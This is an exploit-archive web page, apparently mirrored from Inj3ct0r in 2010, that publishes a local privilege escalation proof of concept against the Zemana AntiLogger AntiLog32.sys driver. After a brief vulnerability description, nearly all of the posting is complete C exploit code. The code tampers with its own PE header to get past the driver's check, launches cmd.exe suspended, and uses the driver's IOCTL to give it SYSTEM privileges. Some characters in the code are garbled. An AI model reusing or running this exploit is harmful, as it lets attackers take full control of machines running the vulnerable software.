Home / os / win7

Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privil

Posted on 28 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Zemana AntiLogger AntiLog32.sys &lt;= 1.5.2.755 Local Privilege Escalation</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================================
Zemana AntiLogger AntiLog32.sys &lt;= 1.5.2.755 Local Privilege Escalation
=======================================================================


Zemana AntiLogger AntiLog32.sys &lt;= 1.5.2.755 Local Privilege Escalation Vulnerability
 
VULNERABLE PRODUCTS
Zemana AntiLogger &lt;=1.9.2.2.206
 
DETAILS:
AntiLog32.sys create a device called DeviceAntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which  can elevate the privilege of a process to another process
 
EXPLOIT CODE:
 
#include &quot;stdafx.h&quot;
#include &quot;windows.h&quot;
#include &quot;winioctl.h&quot;
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)
 
typedef struct _IMPERSONATE_PROCESS{
    HANDLE ImpersonateProcess ;
    HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;
 
int main(int argc, char* argv[])
{
    printf(&quot;Zemana AntiLogger &lt;=1.9.2.2.206 AntiLog32.sys &lt;= 1.5.2.755
&quot;
        &quot;Local Privilege Escalation Vulnerability Proof-of-Concept
&quot;
        &quot;2010-7-28
&quot;
        &quot;By MJ0011 th_decoder@126.com

Press Enter
&quot;);
    getchar();
     
    //bypass some useless create check
 
    PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
    PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr-&gt;e_lfanew);
    PVOID waddr = &amp;pnthdr-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;
     
    ULONG oldp ;
 
    VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &amp;oldp);
    pnthdr-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ;
    VirtualProtect(waddr , sizeof(ULONG) , oldp , &amp;oldp);
 
 
    HANDLE hdev = CreateFile(&quot;\\.\AntiLog32&quot; ,
        FILE_READ_ATTRIBUTES ,
        FILE_SHARE_READ ,
        0,
        OPEN_EXISTING ,
        0,0);
 
    if (hdev == INVALID_HANDLE_VALUE)
    {
        printf(&quot;cannot open device %u
&quot; , GetLastError());
        getchar();
        return 0;
 
    }
 
    STARTUPINFOA sia ;
    memset(&amp;sia , 0 , sizeof(sia));
    sia.cb = sizeof(sia);
    PROCESS_INFORMATION pi ;
    memset(? , 0 , sizeof(pi));
 
     
 
    if (!CreateProcess(&quot;c:\windows\system32\cmd.exe&quot; ,
        NULL ,
        NULL,
        NULL,
        FALSE ,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &amp;sia ,
        ?))
    {
        printf(&quot;cannot run cmd.exe....%u
&quot;, GetLastError());
        getchar();
        return 0 ;
    }
 
     
    IMPERSONATE_PROCESS ip ;
    ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
    ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
    ULONG btr ;
 
    if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &amp;ip , sizeof(ip) , NULL , 0 , &amp;btr, 0))
    {
        printf(&quot;cannot impersonate process %u
&quot; , GetLastError());
        getchar();
        return 0 ;
    }
 
    ResumeThread(pi.hThread);
 
    printf(&quot;OK
&quot;);
 
     
    return 0;
}
 
================================


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-28]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :